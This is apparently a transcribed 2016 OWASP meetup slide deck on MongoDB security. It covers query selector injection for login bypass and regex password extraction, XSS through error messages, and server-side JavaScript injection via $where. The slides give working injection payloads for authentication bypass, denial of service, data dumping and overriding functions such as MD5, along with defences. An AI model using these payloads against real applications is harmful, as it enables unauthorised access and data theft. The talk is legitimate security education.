nosql noinjections or nosecurityfiles.meetup.com/18710651/2016-10-mongodb_owasp.pdf · out of the...

32
NoSQL: “NoInjections” or “NoSecurity” A Guide to MongoDB Exploitation Stark Riedesel Oct 2016

Upload: others

Post on 29-May-2020

4 views

Category:

Documents


0 download

TRANSCRIPT

NoSQL: “NoInjections”

or “NoSecurity”A Guide to MongoDB Exploitation

Stark Riedesel

Oct 2016

What is

Document Database (NoSQL)

Documents = JSON

Schema-free

Nested documents (No JOINs)

BSON for efficiency

Complex Query Language

Create/Read/Update/Delete (CRUD)

Data Aggregation (sum/average/group by/etc.)

Full Text Search

Map/Reduce (BigData)

JavaScript Query Environment database code execution :)

Why

(Most) Popular NoSQL database

Open source (as of 2009)

Easy to get started

No tables or columns

No data types

Just plain JSON objects

MEAN stack

Easy to setup and use

Not always a good thing…

Source: http://db-engines.com/en/ranking_trend

Stack

MongoDB

Database/JSON store

Express.JS

Web server

Angular.JS

Client-side app code

Node.JS

Server-side app code

“Full-Stack” JavaScript

JavaScript everywhere

JSON everywhere

Minimal data-conversions

Often: API-based apps

Out of the Box Insecurity

By default:

No authentication

No access control

No encryption

At rest

Or in transit

Never, ever, expose to the internet

Out of the Box Insecurity

By default:

No authentication

No access control

No encryption

At rest

Or in transit

Never, ever, expose to the internet

Source: http://www.computerworld.com/article/3016216/security/over-680tb-of-data-exposed-in-mongodb-databases.html

Source: https://securityintelligence.com/news/about-30000-instances-of-mongodb-exposed-on-web-security-researcher-says/

Source: http://arstechnica.com/security/2016/10/breach-exposes-at-least-58-million-accounts-includes-names-jobs-and-more/

Out of the Box Insecurity

Source: https://www.shodan.io/report/nlrw9g59

MongoDB Injection Attacks

Network attacks are obvious…

But, can we leverage the SQL Injection?

MongoDB Injection Attacks

Network attacks are obvious…

But, can we leverage the SQL Injection?

Mongo says no:

https://docs.mongodb.com/manual/faq/fundamentals/#how-does-mongodb-address-sql-or-query-

injection

MongoDB Injection Attacks

Network attacks are obvious…

But, can we leverage the SQL Injection?

Mongo says no:

But…

https://docs.mongodb.com/manual/faq/fundamentals/#how-does-mongodb-address-sql-or-query-

injection

Query Selectors

Typical query might look like:

Product.find({id: req.query.product_id})

Query Selectors – Just JSON!

Typical query might look like:

More complex query might look like:

Operators include:

$lt $gt $eq $ne $regex (and many more)

Product.find({id: req.query.product_id})

Product.find({price: { $lt: req.query.price}})

Query Selector Injection

Query to Inject:

User.find({username: req.query.username,password: req.query.password})

Query Selector Injection

Query to Inject:

Injection:

http://example.vuln/login?username=admin&password[$ne]=

Resulting Query:

User.find({username: req.query.username,password: req.query.password})

User.find({username: ”admin”,password: {$ne: “”}})

Demo Time (v1)Demonstration of Query Injections

Password Extraction

By using the $regex operator, we can extract passwords:

password[$regex]=^a 401 Unauthorizedpassword[$regex]=^b 401 Unauthorizedpassword[$regex]=^c 401 Unauthorizedpassword[$regex]=^d 401 Unauthorizedpassword[$regex]=^e 401 Unauthorizedpassword[$regex]=^f 200 OKpassword[$regex]=^fa 401 Unauthorizedpassword[$regex]=^fb 401 Unauthorizedpassword[$regex]=^fc 401 Unauthorized…password[$regex]=^fo 200 OK…password[$regex]=^foo$ 200 OK

Bonus: XSS Vector

Displaying MongoDB error messages is BAD

User.findOne({username: req.query.username,password: req.query.password},function(error, user) {

if (error)return res.send(error);

elsereturn res.send(“Logged in as: “+user.username);

}});

Bonus: XSS Vector

Injection:

password[$<script>alert(‘XSS’);</script>]=

Demo Time (v2)Advanced Query Injections

Only You Can Prevent Query Selector

Injections

Validate/Sanitize your inputs….

I know… you know… but do your developers know?

But I thought ORMs prevent “Injections”

MEAN is young

(Almost) no libraries do this by default

User.findOne({username: String(req.query.username),password: String(req.query.password)});

Advanced MongoDB ExploitationTime for some good old JavaScript RCE

Server Side JavaScript (SSJS) Execution

Executed in the context of the Mongo server

Operator: $where

Aggregations

Group (aka GROUP BY)

Used to create custom aggregations

Map/Reduce (aka BigData)

Used to perform complex logic server-side

Customer.find({ $where: “this.credits == this.debits” })

User.find({ $where: “this.password == MD5(‘”+req.query.password+”’)”})

SSJS Injection

User-supplied data -> JavaScript function -> RCE

Same issue as traditional SQL injection

Arbitrary JS code, but sandboxed (versions >2.4)

Cannot write/modify data

Cannot access global db object

Cannot access other “collections”

User.find({ $where: “this.password == MD5(‘”+req.query.password+”’)”})

Anatomy of a SSJS Injection

‘;return 1==1;}// - Roughly equivalent to SQLi: ‘ OR 1=1—

‘;return this.username==“admin”;}//

‘;while(1);return 1==1;}//

‘;sleep(1000);return 1==1;}//

‘;assert(false,tojson(this));return 1==1;}//

The Global Namespace

Documentation: 31 functions

vs

Reality: ~100 functions/properties

Interesting: Able to read recent JavaScript clauses via the _funcs# properties

Scary: Able to modify JS built-in

functions

var global = Function('return this')();printjson(Object.getOwnPropertyNames(global));

Source: https://docs.mongodb.com/manual/reference/operator/query/where/

SSJS Injection Attack Patterns

Error injection (dump objects)

assert(false, tojson(this))

Error injection (XSS)

assert(false, “<script>alert(‘xss’);</script>”)

DoS

while(1);

Blind Injections

if(str[0]==“a”){sleep(100);}

Advanced SSJS Injection Attack Patterns

Taint the global namespace:

var global = Function('return this')(); global.Date=function(){ assert(false,tojson(eval(“obj”))); }; return 1=1;}//

Disrupt security functionality

var global = Function('return this')(); global.MD5=function(x){ return x; }; return 1=1;}//

Dump recent code execution

var global = Function('return this')(); assert(false,tojson(global._funcs1)); return 1=1;}//

Demo Time (v3)This time with more code execution!

Preventing SSJS Injection

Disable scripting entirely:

--noscripting

Just don’t have user input in JS code…

Validate…Validate…Validate…

Scoped Variables????

Preventing SSJS Injection

Disable scripting entirely:

--noscripting

Just don’t have user input in JS code…

Validate…Validate…Validate…

Scoped Variables????

Yes, but no major ORM supports this yet

var bson = require('bson');

var ssjs = new bson.Code(“(this.credits -

this.debits) > amount", {amount: req.query.amount}

);

myCollection.find( { $where: ssjs} );

State of MongoDB

Most deployments don’t do

network stuff right

Apps/Libraries haven’t learned

lessons from SQL injection

Web frameworks assist us build

query objects

JavaScript injection is scary

State of MongoDB

Most deployments don’t do

network stuff right

Apps/Libraries haven’t learned

lessons from SQL injection

Web frameworks assist us build

query objects

JavaScript injection is scary

Security Testing Tools

Burp Suite: Good SSJS detection

NoSQLMap: Outdated/Limited for

SSJS; good for network stuff

Pretty much nothing scans for

query selector injection